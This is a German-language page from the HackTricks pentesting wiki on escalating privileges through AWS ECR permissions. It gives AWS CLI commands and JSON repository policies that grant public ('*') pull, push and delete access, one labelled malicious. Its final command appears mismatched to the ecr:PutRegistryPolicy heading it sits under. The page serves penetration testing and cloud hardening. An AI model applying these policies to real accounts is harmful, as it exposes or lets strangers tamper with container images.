AWS - ECR Privesc

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Ein Angreifer mit der ecr:GetAuthorizationToken und ecr:BatchGetImage kann sich bei ECR anmelden und Bilder herunterladen.

Für weitere Informationen zum Herunterladen von Bildern:

AWS - ECR Post Exploitation

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Abfangen sensibler Informationen im Verkehr.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Bilder hochladen. Dies kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.

Um zu lernen, wie man ein neues Bild hochlädt oder ein bestehendes aktualisiert, siehe:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Wie im vorherigen Abschnitt, aber für öffentliche Repositories.

ecr:SetRepositoryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Repository Richtlinie ändern, um sich selbst (oder sogar allen) Lese-/Schreibzugriff zu gewähren. Zum Beispiel wird in diesem Beispiel allen Lesezugriff gewährt.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Inhalt von my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Wie im vorherigen Abschnitt, aber für öffentliche Repositories. Ein Angreifer kann die Repository-Richtlinie eines ECR Public-Repositories ändern, um unbefugten öffentlichen Zugriff zu gewähren oder um seine Berechtigungen zu eskalieren.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potenzielle Auswirkungen: Unbefugter öffentlicher Zugriff auf das ECR Public-Repository, der es jedem Benutzer ermöglicht, Bilder zu pushen, zu pullen oder zu löschen.

ecr:PutRegistryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Registry-Richtlinie ändern, um sich selbst, seinem Konto (oder sogar allen) Lese-/Schreibzugriff zu gewähren.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Unterstütze HackTricks

Last updated